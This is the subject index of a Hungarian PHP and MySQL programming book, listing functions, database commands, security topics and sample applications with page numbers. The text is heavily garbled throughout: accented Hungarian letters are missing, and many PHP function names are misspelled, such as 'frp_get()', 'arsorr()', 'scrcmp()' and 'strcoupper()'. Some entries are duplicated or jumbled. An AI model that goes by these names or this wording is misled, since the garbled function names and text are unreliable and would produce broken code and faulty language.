hozzszlk 519 megoldsok 517 frum alkalmazs fastruktra 518 forum_fuggvenyek.php fjl (webes frum) 519 FPDF fggvnyknyvtr 543 FreeType knyvtr letltse 332 frissts anomlik elkerlse (webes adatbzisok) 145 FTP szerverek 316 jogosultsgok 197 opercis rendszerek 262 rekordok 177 szoftver 256 frisstsi anomlik elkerlse (webes adatbzisok) 145 ftp_connect() fggvny 315 FTP (File Transfer Protocol) 313 fjlfeltlts 318 fjlok biztonsgi mentse 313 bejelentkezsek 316 frissts idpontjnak ellenrzse 316 kapcsolatok bontsa 318 letltsek 317 tvoli kapcsolatok 315 fjlok tkrzse 313 bejelenckezsek 316 frissts idpontjnak ellenrzse 316 kapcsolatok bontsa 318 letltsek 317 tvoli kapcsolatok 315 FTP tviteli mdok 317 ftp_get() fggvny 318 ftp_mdtm() fggvny 316 ftp_nlst() fggvny 318 ftp_size() fggvny 318 idtllpsek megelzse 318 nvtelen bejelentkezs 315 set_time_limit() fggvny 318 ftp_get() fggvny 318 ftp_mdtm() fggvny 316 ftp_nlist() fggvny 318 frp_size() fggvny 318 fggvnyek. Lsd mg parancsok 96, 104, 105 addslashes() 78, 184, 199, 282 admin_felhasznalo_ellenorzese() 486 alkalmazsa tmbelemekre 69 altalanos_felhasznalo_ellenorzese()) 486 array_count_values() 70 array _reverse() 66 array_walk() 69 arsorr() 62 asort() 63 autoload() 127 basename() 301, 303 bejelentkezes_ellenorzese() 486 checkdate() 251

Trgymutat

643

chgrp() 304 chmod() 304 chown() 304 closedir() 299 copy() 304 cos() 562 count() 70 crypt() 269 csillag_rajzolasa() 562 current() 69 date() 16,303,321 formrumkdok 321 decoct() 303 deklarlsa 98 dirname() 301,303 disk_free_space{$path) 301 doubleval() 199 each() 58,69 elnevezs 98,372 empty() 31 end() 69 rtkvisszaads 103 escapeshellcmd() 282,256,306 eval() 361 exec() 305 explode() 68, 79 extract() 70 fjlok llapotfggvnyek eredmnyek 305 thelyezse 304 fjltulajdonsgok megvltoztatsa 304 ltrehozsa 304 olvassa 302 trtse 304 fclose() 299 fdf_create() 551 fdf_set_file() 551 fdf_set_value() 551 fileatime() 303 filegroup() 302,303 filemtime() 303 fileowner() 302,303 fileperms() 303 filesize() 303 filetype() 303 fiok_beallitas_megjelenitese() 464 fiok_lista_lekerese() 466 fiokok_lekerese() 463 fiokok_szama() 466 fiok_torlese() 465 fiok_valaszto_megjelenitese() 466 fopen() 40,299 frp_connect() 315 FTP fggvnyek 313 fjlfeltlts 318 fjlok biztonsgi mentse 313 fjlok tkrzse 313 frp_get() 318 frp_mdtm() 316 frp_nlist() 318 frp_size() 318 idtllpsek megelzse 318

set_time_limit() 318 fggvnyvltozk 99 futsidej hibk 381 get_current_user() 363 getenv() 306 get_extension_funcs() 363 gedastmod() 363 ger_loaded_extensions() 363 get_magic_quores_gpc() fggvny 184 gertype() 30 hlzati keresfggvnyek 310 explode() 312 gethostbyaddr() 312 gethostbyname() 311 germxrr() 311 parse_url() 312 hatkr 101 Header() 335,550 highlighr_file() 364 hirelesitett_felhasznalo_ellenorzese() 461 hivatkozsknt trtn paramtertads 70 htmlentities() 252 html_fejlec_letrehozasa() 466 htmlspecialchars() 184,252,282 ImageColorAllocate() 334 ImageCreate() 334 ImageCreateFromGIF() 339,340 ImageCreateFrom]PEG() 339, 340 ImageCreateFromPNG() 339,340 ImageDestroy() 335 ImageFilledRectangle() 346 ImageGetTTFBBox() 340 ImageJPEG() 335 ImageLine() 346 ImagePNG() 339 ImageRectangle() 347 imagestring() 334 ImageTTFBBox() 340 ImageTTFText() 340 imap_body() 471 imap_delete() 473 imap_expunge() 473 imap_fetchheader() 471 IMAP fggvnyknyvtr 451 imap_header() 471 imap_headers() 469,471 implode() 79 ini_get() 364 ini_set() 364 inrval() 68 isset() 31, 103 is_uploaded_file() 298 join() 79 karakterlncok kis- s nagybet megklnbztetse 77 kpek 347 knyvtrak 298,374 fjlok elrsi tvonala 301 FPDF 543 kimeneti_fuggvenyek.php 461 ltrehozsa 301

levelezo_fuggvenyek.php 463 olvass -bl 298 PHPBookmark alkalmazs 393 trlse 301 krsort() 63 ksort() 62 ltrehozsa 98 lisr() 58 lista_megjelenitese() 467 !star() 304 ltrim() 75 maii() 74,308 max() fggvny 103 md5() 269 meghvsa 16,96 kis- s nagybet megklnbztetse 97 nem ltez fggvnyek 97 paramterek 96 prototpusok 96 mysql_connect() 185 mysqli_connect() 382 mysqli_errno() 382 mysqli_error() 382 mysqli_fetch_assoc() 186 mysqli_query() 185, 382 mysql_selecr_db() 185 nem ltez fggvnyek hvsa 97 next() 69 nl2br() 75 ODBC {Open Database Connectivity) 190 opendir() 299 paramterek 16,99 cm szerinti paramtertads 102 rtk szerinti paramtertads 102 pdf_add_oudine() 555 pdf_close() 556 pdf_csere() 551 pdf_show() 555 pdf_show_xy() 561 pdf_stringwidth() 561 phpinfo() 544,306 PHP krnyezeti vltozk 306 posix_getgrgid() 303 posix_getpwuid() 302,303 postafiok_megnyirasa() 468 prev() 69 print() 75 printf() 76 prototpusok 96 putenv() 306 rajzolfggvnyek paramcerei 334 range() 56 rekurzv fggvnyek 104 rename() 304 reset() 69 rewinddir() 300 rmdir() 302 rsort() 63 rrrim() 75 serialize() 362 session_set_cookie_params() 350

644

Trgymutat

session_unregister() 352 serrype() 30 sha1() 269 show_source() 364 shuffie() 65 sin() 562 sizeof() 70 sore() 62 sprincf() 76 stac() 304 strcasecmp() 80 scrchr() 82 scrcmp() 80 stripslashes() 78, 184, 199, 282 strip_cags() 282 striscr() 82 strlen() 81 strnatcmp() 80 strpos() 82 scrrchr() 82 str_replace() 83, 550 strrpos() 82 strscr() 82 scrtok() fggvny 79 strtolower() 77 strcoupper() 77 subscr() 80 system() 305 trolt deklarlsa 213 tbbszrs definils 99 couch() 304 trim() 75, 184 uasort() 64 ucfirst() 77 ucwords() 77 uksort() 64 umask() 302 unlink() 304 unserialize() 362 urlencode() 270, 310 usort() 63 uzenet_kuldese() 474 uzenet_megjelenitese() 470 uzenet_corlese() 473 uzenet_visszakeresese() 470 vltozk 30 llapotnak ellenrzse 31 hatkr 101 tpusbelltsi -ellenrzs 30 visszakvets 133 visszatrs fggvnyekbl 103 futsidej hibk 380 beviteli adatok ellenrzse 384 fjlok olvassa/rsa 382 hlzati kapcsolatok 383 kapcsolds adatbzishoz 382 nem ltez fggvnyek 381 futtats Apache 626 direktvk 38 PHP

CGI rtelmezknt 621 modulknc 621 futtathat eartalom (trolt adatok) 282

hlzati keresfggvnyek 310 explode() 312 gechostbyaddr() 312 gechostbyname() 311 getmxrr() 311 parse_url() 312 konfigurlsa 383 TCP/IP biztonsg 233 hardver hiba (zleti weboldalakJ 228 tolvajok 248 hromdimenzis tmbk 61 hromoperandus mveleti jel 27 hash() fggvny 240 mkdse PHP 5.3-ban 5 hatkr fggvny hatkr 101 globlis hatkr 101 vltozk 22 vltozk hatkre 100 Header() fggvny 335 HEAP tblk 209 helyi vltozk 101 helyrellts adatbzisok 206 hibk 401-es tpus hibk (HTTP) 273 beviteli adatok ellenrzse 384 fjlok olvassa/rsa 382 futsidej 380 hlzati kapcsolatok 383 hibajelentsi szintek 387 hibakezel mveleti jel 27 kapcsolds adatbzishoz 382 kezelse 138 logika 384 nem ltez fggvnyek 381 PHP 5.3 5 programozs 379 futsidej hibk 380 logika hibk 384 szintaktikai hibk 379 szintaktika 379 szoftver 228, 235 szoftver fejlesztk hibs felttelezsei 235 nem megfelel tesztels 235 pontarlan specifikcik 235 zenetek 97 hibakeress fjlfeltltsek 298 fjlok megnyitsa 43 hibk. Lsd mg hibk 43 vltozkban 385 highlight_file() fggvny 364 hrlevelek 477 adatbzisok konfigurlsa 480 bejelentkezs 490 csatolt llomnyok 478 elnzere 510 fjlfeltlts 478

G,Gy
gecARS() fggvny 578, 592 get_currenc_user() fggvny 363 getenv() fggvny 306 get_excension_funcs() fggvny 363 gechoscbyaddr() fggvny 312 gechostbyname() fggvny 311 gedastmod() fggvny 363 get_loaded_extensions() fggvny 363 get_magic_quotes_gpc() fggvny 184 getmxrr() fggvny 311 getSzerverldo() fggvny 604 geccype() fggvny 30 GIF (Graphics Inteechange Format) 332 globlis hatkr 101 globlis jogosultsgok 152 globlis vltozk 101 Gnu Privacy Guard (GPG) 283 kulcsprok 284 teleptse 283 tesztelse 285 weboldal 283 gomb_lettehozasa.php fjl 337 gombok gomb_lettehozasa.php kd 337 sznei 338 szveg sznek/bettpusok 336 szveg illesztse gombokra 339 gomb_tervezese.html fjl 336 GPG (Gnu Privacy Guard) 283 kulcsprok 284 teleptse 283 tesztelse 285 weboldal 283 grafikonok adatok 342 oktatanyagok 348 GRANT jogosultsg 198 GRANT parancs 151 grant tblk 194 GRANT utastsok 200, 201 Graphics Inceechange Forrnat (GIF) 332 GROUP BY mellkg 174 gyermek csompontok ( webes frum fastruktrja) 518 gykr csompontok ( webes frum fastruktrja) 518 gykrelemek (XML) 566 gyorsttrazs Amazon 568

H
hackerek 248 halad OOP funkcik 124 hlzatok

Trgymutat

645

feleltse 504, 509 folyamarbrk 478 kd architektrja 482 megolds ttekintse 478 hitelests. Lsd mg biztonsg 232, 237, 259 alapszint hitelests (HTTP) 270 Apache .htaccess fjlokkal 272 PHP-ben 271 egyni hitelests ltrehozsa 276 felhasznJk azonostsa 265 hozzfrs-szablyozs jelszavak trolsa 267 jelszavak titkostsa 269 megvalstsa 266 tbb oldal vdelme 270 jelszavak 237 kivonatos hitelests (HTTP) 271 mod_auth_mysql modul 275 dokumentci weboldala 276 telepts 275 tesztelse 275 weboldalak 276 hitelesitert_felhasznalo_ellenorzese() fuggvny 461 hitelkrtyaadatok trolsa 283 hivatkozsknt trtn paramtertads 70 hivatkozs mveleti jel 25 hivatkozsok Add to Care 570 Checkout 570 Details 570 webes frum fasttuktrja 518 hossz stlus rlapvltoz 17 host tbla 194 HotScripts.com weboldal hozzfrs bizalmas adatokhoz val hozzfrs korltozsa 246 mdostk 112 MySQL 149 numerikusan indexelt tmb tartalmhoz 56 .php fjlokhoz val hozzfrs korltozsa 254 szablyozs (hitelests) jelszavak 267 megvalstsa 266 tbb oldal vdelme 270 trsrsos tmb tartalmhoz 57 hozzfrs korltozsa bizalmas adatok 246 .php fjlokhoz 254 hozzaszolas_cimenek_lekerese() fuggvny 534 hozzaszolas_lekerese() fuggvny 531 hozzaszolas_megjelenitese() fuggvny 532 hozzaszolas_megrekintese.php fjl ( webes frum) 519 hozzszlk (webes frum) 519 htaccess fjlok (Apache webszerver) 272 634 hozzaadKJValasz()fuggvny 612

hcml_fejlec_letrehozasa() fuggvny 466 HTML (Hypertext Markup Language) entity 252 formzs (karakterlncok) 75 hcmlentities() fuggvny 252 htmlspecialchars() fuggvny 184, 252, 282 PHP begyazsa 13 cmkk (tag) 14 fehrkz karakterek 15 megjegyzsek 15 utastsok 15 rlapok fjlfeltlts 293 feldolgozsa 12, 13 megrendel rlapok ltrehozsa 12 HTML rlapok feldolgozsa 12, 13 htpasswd program (Apache webszerver) 274 httpd.conf 626 HTTP (Hypertext Transfer Protocol) 280 alapszint hitelests 270 401-es tpus hibk 273 Apache .htaccess fjlokkal 272 PHP-ben 271 kzfogs (handshaking) 280 kivonatos hitelests 271 Secure Sockets Layer (SSL) 280 indexek

339 ImageCreate() fuggvny 334 ImageDestroy() fuggvny 335 ImageFilledRectangle() fuggvny 346, 347 ImageGetTTFBBox() fuggvny 340 ImageJPEG() fuggvny 335 ImageLine() fuggvny 346 ImageMagick knyvtr 331 ImagePNG() fuggvny 339 ImageRectangle() fuggvny 347 imagestring() fuggvny 334 ImageTTFBBox() fuggvny 340 ImageTTFText() fuggvny 340 imap_body() fuggvny 471 imap_delece() fuggvny 473 imap_expunge() fuggvny 473 imap_fetchheader() fuggvny 471 imap_header() fuggvny 471 imap_headers() fuggvny 469, 471 IMAP (Internet Message Access Protocol) 308 fuggvnyknyvtr 451 kliens weboldala 622 implode() fuggvny 79 importls nyilvnos kulcsok (Gnu Privacy Guard) 285 indude() utasts 90 adatbzis-optimalizls 205

I,

adatbzisok 143

lekrdezsek 205 tmbk 205 index.htm! fjl (oklevelek projekt) 544 INDEX jogosultsg 153 index.php fjl MLM alkalmazs 480 online kosr alkalmazs 422 Tahuayo alkalmazs 571

idegen kulcsok IDE (Integrated Development Environment) 375 idezojel_hozzaadasa() fuggvny 535 id s dtum MySQL-ben szmolsok 328 PHP-ben 5, 321 date() fuggvny 321 mikroszekundumok 329 naptrfuggvnyek 329 szmolsok 327 vlts PHP s MySQL formturnak kztr 326 idtllpsek megelzse 318 if utastsok 32 illeszts regulris kifejezsek 83 karakterkszletek 84 karakterosztlyok 84 rszsztringek keress s csere 83 illeszrsek PHP adatbzis-illeszrsek 190 ImageColorAllocate() fuggvny 334 ImageCreateFromGIF() fuggvny 334, 339 ImageCreateFromJPEG() fuggvny 334, 339 ImageCreateFromPNG() fuggvny 334,

Warm Mai! alkalmazs 453


webes frum 519 ini_get() fuggvny 364 ini_set() fuggvny 364 InnoDB tblk 210 kls kulcsok 211 tranzakcik 210 INSERT jogosultsg 153 INSERT lekrdezsek 187 INSERT utasts 165 instanceof tpusmveleti jel 28 integer adartpusok vltozk 20 Integrated Development Environment (IDE) 375 intelligens zenerkld rlap ltrehozsa 73 Internet biztonsgos tranzakcik 278 Internet Message Access Protocol (IMAP) 308 Internet Protocol (IP) 280 inti kiterjeszts 5 IP (Internet Protocol) 280

646

Trgymutat

rs fjlok 40,282 futsidej hibk 382 kezelhec kd 371 darabokra bonts 373 elnevezsi szoksok 371 fggvnyknyvtrak 374 knyvtrstruktrk 373 megjegyzsek hasznlata 372 programozsi szablyok 371 tagolsa 373 osztlyok kdjnak megrsa 117 issec{) fggvny 31,103 is_uploaded_lile{) fggvny 298

hlzari kapcsolatok futsidej hibk 383 tvoli FTP szerverek 315 webes adatbzisok 184 kapcsolatok (adatbzisok) 143 egy a sokhoz tpus kapcsolatok 143 egy az egyhez tipus kapcsolatok 143 sok a sokhoz tipus kapcsolatok 143 kapcsolds adatbzis szerverekhez 260 kapcsolk -h kapcsol (mysql parancs) 150 -p kapcsol mysql parancs) 150 -u kapcsol (mysql parancs) 150 karakterek kszletek 84 kitlt 76 osztlyok 84 vdkarakterek hasznlata 78 karakterlncok 19,75 adattipus (vltozk) 20 biztonsg 252 egyestse implode{) fggvny 79 join() fggvny 79 rtkelse 361 felosztsa explode{) fggvny 79 strtok{) fggvny 79 substr{) fggvny 80 formzsa 75 hossznak megllaptsa 81 HTML formzs 75 kis- s nagybets rsmd megvltoztatsa 77 kis- s nagybets rsmdok fggvnyei 77 konverzis specifikcik 76 lcrim() fggvny 75 megjelencse 75 print{) fggvny 76 printf{) fggvny 76 sprintf{) fggvny 76 mveleri jelek 23 nl2br{) fggvny 75 sszefz mveleti jel 19 sszehasontsa 80 karakterlncok hossznak megllapts 81 scrcasecmp() fggvny 80 strcmp{) fggvny 80 scmaccmp() fggvny 80 oszloptipusok 162 print{) fggvny 76 printf{) fggvny 76 rendezse strcasecmp{) fggvny 80 strcmp() fggvny 80 scrnaccmp() fggvny 80 rszszcringek cserje 83 elrse substr{) fggvnnyel 80

keresse 82 szmszer pozcijnak megkeresse 82 rtrim() fggvny 75 sprintf{) fggvny 76 trolsa 78 token 79 trim() fggvny 75 karakterlncok felosztsa strtok{) fggvny 79 katasztrfaelhrts 247 tervezse 263 kategoria_beszurasa.php fjlok (online kosr alkalmazs) 422 kategoria_beszurasa_urlap.php fjlok (online kosr alkalmazs) 422 kategoriak_lekerese{) fggvny 427 kategoria_megjelenitese.php fjlok (online kosr alkalmazs) 422 kategoria_szerkeszcese.php fjl (online kosr alkalmazs) 422 kategoria_szerkesztese_urlap.php fjl (online kosr alkalmazs) 422 kpek automatikus elllitsa 336 azonosrk trlse 335 formturnak 332 GIF (Graphics Incerchange Format) 332 JPEG (Joint Photographic Expetts Group) 332 PNG (Portable Necwork Graphics) 332 WBMP (Wireless Bitmap) 332 kimenet ksztse 335 ltrehozsa 333 bettipusok 336 szveggel 336 rajzvszon ltrehozsa 333 sorok kztr dinamikusan elllitotr 336 sznek,RGB (vrs,zld s kk) 334 szveg rajzolsa/rsa 334 szveg illesztse gombokra 339 tmogatsa PHP-ban 331 krsek MySQL adatbzis 197 keress s csere rszsztringek 83 keresfggvnyek explode{) 312 hlzatok 310 hlzatok gethostbyaddr{) 312 gethostbynarne() 311 getrnxrr{) 311 parse_url{) 312 keresztsszekapcsols 172 ksi statikus ktsek 125 ktdimenzis tmbk 59 kezels

J
jelszavak 237,245,392 adatbzisok biztonsg 198 elrse 259 bejelentkezs MySQL-be 150 MySQL 283 trolsa 198,267 titkostsa 198,269 jelszo_valcozcacas.php fjl (online kosr alkalmazs) 422 jelszo_valtozcacas.php fjl (PHPBookmark alkalmazs) 393 jelszo_valcozcacas_urlap.php fjl (online kosr alkalmazs) 422 jelszo_valcozcacas_urlap.php fjl (PHPBookmark alkalmazs) 393 jogosultsgok adatbzis-optimalizls 205 fjlok rsa 282 FILE 198 frisstse 197 GRANT 198 jogosulcsg rendszer 193 columns_priv tbla 197 jogosultsgok frisstse 197 slave szerverek 207 MySQL 151 globlis jogosultsgok 152 GRANT parancs 151 legkisebb jogosultsg elve 151 tipusai 152 user tbla 194 jpeg-6b leeltse 331 JPEG (Joint Photographic Expercs Group) 332, 622 Julin-napcr 329

K
kapcsolat bontsa webes adatbzisok 187 kapcsolatok boncsa FTP szerverek 318

Trgymutat

647

Bob autalkatrszek alkalmazs 135 Exception osztly 132 felhasznl ltal meghatrozott kivrelek
133

hibk 138 kivrelek 131 kivrelek kivltsa 131 oktatanyagok 138 osztlyok ltrehozsa 133 try blokkok 131 kezelk continue 215 declare 215 exit 215 kzfogs (handshaking) 280 kifejezsek keresse 87 regulris 83 karakterkszletek 84 Perl 83 kijelentkezs Warm Mai! alkalmazs (e-mail kliens)
462

lcijelentkezes.php fjl online kosr alkalmazs 422 PHPBookmark alkalmazs 393 kijelentkezes.php kd (hitelests) 358 kimenet rtkeinek szrse vdkarakterekkel 252 kimeneti_fuggvenyek.php fjl kimeneti_fuggvenyek.php fggvnyknyvtr 461 MLM alkalmazs 480 PHPBookmark alkalmazs 393 Warm Mai! alkalmazs 453 webes frum 519 kimenet ksztse kpek 335 kis- s nagybet megklnbztetse fggvnyek meghivsa 97 karakterlncok 77 MySQL utasrsok 150 kirerjeszts Exception osztly 133 kiterjesztsek require() utasts 91 kirerjesztett sznraktika 174 kirlt karakterek 76 kivlaszts webes adarbzisok 185 kivlts kivtelek 131 kivtelek 131, 389 Bob autalkatrszek alkalmazs 135 Exception osztly 132 fjlkezels 135 felhasznl ltal meghatrozott kivrelek
133

Icivons mveleti jel 23 kivonatos hitelests (HTTP) 271 kj_hozzaadasa() fggvny 412, 616 kj_hozzaadasa.php fjl ( PHPBookmark alkalmazs) 393 kj_hozzaadasa_urlap.php fjl (PHPBookmark alkalmazs) 393 kj_rorlese() fggvny 415 kj_torlese.php fjl PHPBookmark alkalmazs 393 klnozs objektumok 126 kd blokkok 32 darabokra bontsa 373 elnevezs szoksok 371 futtatsi direktva 38 mkdsi logika 376 online kosr alkalmazs 421 optimalizlsa 376 prototpusok 375 szervezse 253 tagolsa 32 tartalom 376 tesztelse 377 tbbszri felhasznlsa 370 verzikvers 374 CVS (Concurrent Versions System)
374

kivltsa 131 oktatanyagok 138 osztlyok 133 try blokkok 131

trol 374 tbb programoz 37 4 kd kezelhetsge 371 darabokra bonts 373 elnevezs szoksok 371 fggvnyknyvtrak 374 knyvtrsrruktrk 373 megjegyzsek hasznlara 372 programozsi szablyok 371 tagols 373 kdok elfordtott urasrsok 189 eredmenyek.php 182 gomb_lerrehozasa.php 337 kpek rajzolsa 333 Iciugrs -bl 37 konyv_beszurasa.php 188,446 mysqlhotcopy adatbzis biztonsgi mentse 206 PHP MySQL-jelszavak 283 tulajdonos azonosrsa 363 utols mdosts idpontja 363 vgrehajtsa 365 vgrehajts lelltsa 361 webes adarbzisok lekrdezse 184 adarbzisok kivlasztsa 185 adatok hozzadsa 187 beviteli adatok 184 elfordtott urasrsok 189 eredmnyek visszakeresse 186 kapcsolat bellitsa 185 kapcsolat bontsa adatbzisokkal 187

mysqli_query() fggvny 185 kltsgcskkenrs (zleti weboldalakJ 227 konfigurls DMZ 261 PHP 624 webszerverek Apache HTTP Server 258 Microsofr IlS 258 konstruktorok 109 konverzi formtumszering 76 tpuskdjai 77 konyv_beszurasa.php fjl (online kosr alkalmazs) 422 konyv_beszurasa.php kd 188 elfordtott urasrsok 189 konyv_beszurasa_urlap.php fjl (online kosr alkalmazs) 422 konyvjelzo_fns.php fjl (PHPBookmark alkalmazs) 393 knyvjelzk ajnlsa 392 konyvjelzo.gif fjl (PHPBookmark alkalmazs) 393 rrlse 414 konyvjelzok.sql fjl (PHPBookmark alkalmazs) 393 konyv_megjelenitese.php fjl (online kosr alkalmazs) 422 knyvrrak fjlok rsi jogosultsgok 282 fggvnyek 298 fjlok elrsi rvonala 301 knyvrrak ltrehozsa 301 knyvrrak rrlse 301 olvass knyvrrakbl 298 struktrk 373 tallzsa 298 knyvtrak. Lsd mg fggvnyek, knyvrrak FreeType letltse 332 fggvny 374, 393 ImageMagick 331 mysqli elfordrott utastsok 189 PECL (PHP Extension osztlyknyvrrJ
331

PHP 622 adatbzis-illeszrsek 190 SOAP knyvtrak (Amazon) 568 SOAP 567 konyvtar_tallozas.php fjl 298 koordintk befogW keretek 340 krnyezetek fejlesztkrnyezet 375 krnyezeti vltozk PHP fggvnyek 306 kosr fejlesztse (Amazon) 567 kosar_megjelenicese() fggvny 434 kosar_megjelenirese.php fjl (online kosr

648

Trgymurat

alkalmazs) 422 krsek ksi statikus ktsek 125 kzepes stlus rlapvltoz 17 kulcsok adatbzisok elsdleges kulcsok 142 idegen kulcsok 143 kulcsprok teleptse 284 nyilvnos kulcsok 284 privt kulcsok 284 tmbk 56 kulcsszavak ASC 173 DESC 173 rerurn 103 Ields e-mail 307 hrlevelek 511, 514 kuldes() fliggvny 511 kls kulcsok InnoDB tblk 211 kurzorok (trolt eljrsok) 214

lista_megjelenitese() fliggvny 467 lista_tarolasa() fliggvny 503 list() fliggvny 58 literlok 19 LOAD_DATA_INFILE utasts 209 LOCK TABLES parancs 206 logika hibk 384 logikai mveleti jelek 26 !stat() fliggvny 304 ltrim() fliggvny 75

Exception osztly 132 fetchRow() 192 statikus 124 tbbszrs definilsa 126 mezk tblk 142 Microsofi: IlS konfigurlsa 258 Word, RTF 541 microtime() fliggvny 329 MIME levelezcsomag teleptse 631 mlm_fuggvenyek.php fjl (MLM alkaimazs) 480 MLM (levelezlista-kezel) 477 fjlok 480 fejlesztse 477 online hrlevelek 477 csatolt llomnyok 478 fjlfeltlts 478 folyamarbrk 478 megolds ttekintse 478 md autocommit 210 mod_auth modul (Apache webszerver) 273 mod_auth_mysql modul 275 mod_auth_mysql modul dokumentci weboldala 276 teleptse 275 tesztelse 275 mdosts anomlik elkerlse (webes adatbzisok) 145 utols mdosts idpontja (kdok) 363 mdostsi anomlik elkerlse (webes adatbzisok) 145 modulok kd 421 mod_auth (Apache webszerver) 273 mod_auth_mysql 275 telepts 275 tesztelse 275 PHP futtatsa 621 monitorok MySQL 150 mkdsi logika 376 elvlasztsa a tartalomtl 376 munkamenetek (session) megszntetse 351 online kosr alkaimazs 419 vltozk 349 trlse 351 mveleti jelek 22 aritmetikai mveleti jelek 23 birmveleti jelek 26 csoportosthatsg 29 egyoperandus mveleti jelek 23 elsbbsgi sorrend 29 rtkad (
=

M
magic_quotes_gpc direktva 282 magic_quotes_runtime direktva 282 Maii Exchange (MX) rekordok 312 mail() fliggvny 74, 308, 410 maradkkpzs mveleti jel 23 MaxClients paramter (Apache) 185 max_connections paramter 185 max() fliggvny 103 mdS() fliggvny 269 md5() mkdse PHP 5.3-ban 5 megakadlyozs fellrs 115 rklds 115 meghvs fliggvnyek 16, 96 kis- s nagybet megklnbztetse 97 nem ltez fliggvnyek 97 paramterek 96 prototpusok 96 osztlymetdusok 112 megjegyzsek 15, 372 megnyits fjlok 40 cmkk (XML) 565 fopen() fliggvny 41 megnyitsi mdok 40 megnyitsi mdok fjlok 40 megosztott szolgltatsmegragadssal jr tmads (D DoS) 234, 262 megvalsts ajnls 416 rklds 113 mellkgak GROUP BY 174 HAVING 174 throw 133 WHERE 168 sszehasonlt mveleti jelek 168 MEMORY tblk 209 MERGE tblk 209 metdusok fellrsa 115 ltrehozsa 109 metdusok. Lsd mg lliggvnyek bind_param() 190 _call() 126

L
lthatsg szablyozsa 113 rklds 113 legkisebb jogosulrsg elve 151 leiratkozas() fliggvny 499 lekrdezsek adatbzisok kivlasztsa 185 adatok hozzadsa 187 beviteli adatok 184 elfordtott utastsok 189 eredmnyek visszakeresse 186 EXPLAIN utasts 201 indexek 205 INSERT 187 kapcsolat bontsa adatbzisokkal 187 kapcsolat ltrehozsa 184 mysqli_query() fliggvny 185 sebessge 205 webes adatbzisok 184 letagadis 235 letlts fjlok letltse F T P szerverekrl 317 FreeType knyvtr 332 jpeg-6b 331 PostScript Type l bettpusok 332 tllib 332 ltrehozs Book-O-Rama alkalmazs 165 numerikusan indexelt tmbk 56 asszociatv tmbk 57 levl csompontok (webes frum fastruktrja) 518 levelezo_fuggvenyek.php fjl (Warm Mail alkalmazs) 453 levelezo_fuggvenyek.php fliggvnyknyvtr fiokok_lekerese() fliggvny 463 LIKE kulcssz 169

18, 20

cskkents mveleti jelek 24 rtkek visszaadsa 24 hivatkozs mveleti jel 25

Trgymutat

649

nvels mveleci jelek 24 sszetett rtkad mveleti jelek 24 hromoperandus mveleti jel 27 hibakezel mveleti jel 27 karakterlncok mveleci jelek 23 sszefz mveleti jel 19 logikai mveleti jelek 26 new mveleti jel 27 sszehasonlt mveleci jelek 25 egyenl mveleti jel 25 sszehasonlt mveleti jelek W HERE mellkgak 168 tpusmveleci jel 28 tmb 28 tmbk 59 vgsszeg kiszmtsa az rlapon 28 vgrehajt 27 vessz mveleti jel 27 MX (Mai! Exchar)ge) rekordok 312 myisamchk segdalkalmazs 204 MyiSAM tbla 209 MySQL adatbzis 193,196 biztonsgi mentse 242 db tbla 195 eredmenyek.php kd 182 host tbla 196 kapcsolat ellenrzse 197 krs ellenrzse 197 ltrehozsa 151 tables_priv tbla 196 user tbla 194 webes adatbzis architektrja 181 azonosrk 160 bejelentkezs 150 felhasznJk bellitsa 151 folytats jel 150 futsidej hibk 382 GRANT parancs 151 hozzfrs 149 jelszavak 283 jogosultsgok 151 globlis jogosultsgok 152 GRANT parancs 151 legkisebb jogosultsg elve 151 tpusai 152 max_connections paramter 185 mod_auth_mysql modul 275 dokumentci weboldala 276 telepts 275 tesztelse 275 mysql parancs 150 onlne kziknyv 164 pontosvessz (;) 150 szintakrika 174 teleptse binris fjlok 622 forrs teleptse 622 Windows 628 Windows, PATH bellitsa 628

utastsok 150 webes forrsok 634 weboldal 149 mysql_dump parancs 206 mysqlhotcopy kd 206 mysqli_connect() fggvny 185, 382 mysqli_errno() fggvny 382 mysqli_error() fggvny 382 mysqli_fetch_assoc() fggvny 186 mysqli_query() fggvny 185, 382 mysql parancs 150 mysql_select_db() fggvny 185

vals vilgbeli objektumok modellezse (webes adatbzisok) 144 ODBC (Open Database Connecciviry) fggvnyek 190 oklevelek projekt perszonalizlt dokumentumok 544 ertekeles.php fjl 546 fjlok 544 index.html fjl 545 PDF 550 RTF 548 oktatanyagok grankonok 348 kivtelkezels 138 olvass fjlok 40, 302 futsidej hibk 382 knyvrrakbl 298 online hrlevelek 477 csatolt Uomnyok 478 fjlfeltlts 478 folyamarbrk 478 megolds ttekintse 478 online katalgusok (zleti weboldalakJ 221 hibi 222 gyenge minsg megjelens 222 informci hinya 222 ltogatottsg mrse 223 megkeressek megvlaszolsa 222 tartalom frisstse 223 jellemz hinyossgaik 223 online kosr alkalmazs a felhasznl vsrlsnak nyomon kversnek 419 a megolds ttekintse 420 fjlok 422 fizetsi rendszerek 420 kdmodulok 421 munkamenet-vltozk 419 OOP (objektumorientlt programozs) objektumok 107 osztlyok 107 tbbalaksg 108 Open Database Connectiviry (ODBC) fggvnyek 190 opendir() fggvny 299 OpenSSL konfigurlsa 624 weboldala 622 opercis rendszerek felesleges alkalmazsok kikapcsolsa 262 frisstse 262 optimalizls adatbzisok 205 alaprtelmezett rtkek hasznlata 205 indexek hasznlata 205 jogosultsgok 205 tblk 205 tervezse 205 kd 376 Zend Optimizer 377 ORDER BY mellkg 173

N,Ny
nem azonos mveleci jel 59 nem egyenl mveleci jel 59 nem_feliratkozott_listak_lekerese() fggvny 495 nem ltez fggvnyek hvsa 97 nemzetkziests (alkalmazsok) 5 Netcraft: 259 Netscape weboldal SSL 3.0 specifikci 289 stik (cookie-k) specifikcija 350 Network News Transfer Protocol (NNTP) 308 nvrelen bejelentkezs (FTP) 315 nvrerek 105 PHP 5.3 5 XML 566 new mveleti jel 27 New York Times weboldal 265 nl2br() fggvny 75 NNTP (Nerwork News Transfer Protocol) 308 NOT NULL kulcssz 157 nvels mveleci jelek 24 NULL adattpus (vltozk) 20 numerikusan indexelt tmbk elrse ciklusokkal 57 ltrehozsa 56 tartalmnak elrse 56 numerikus oszloptpusok dtum s id 162 nyelvek DDL (Data Definition Language) 165 DML (Data Manipulaeion Language) 165 nyelvi szerkezetek array() 56 die() 361 exit 361 nyilvnos kulcsok Gnu Privacy Guard (GPG) 284 titkosts 239

O,

object adattpus (vltozk) 20 objektumok 107 klnozsa 126

650

Trgymutat

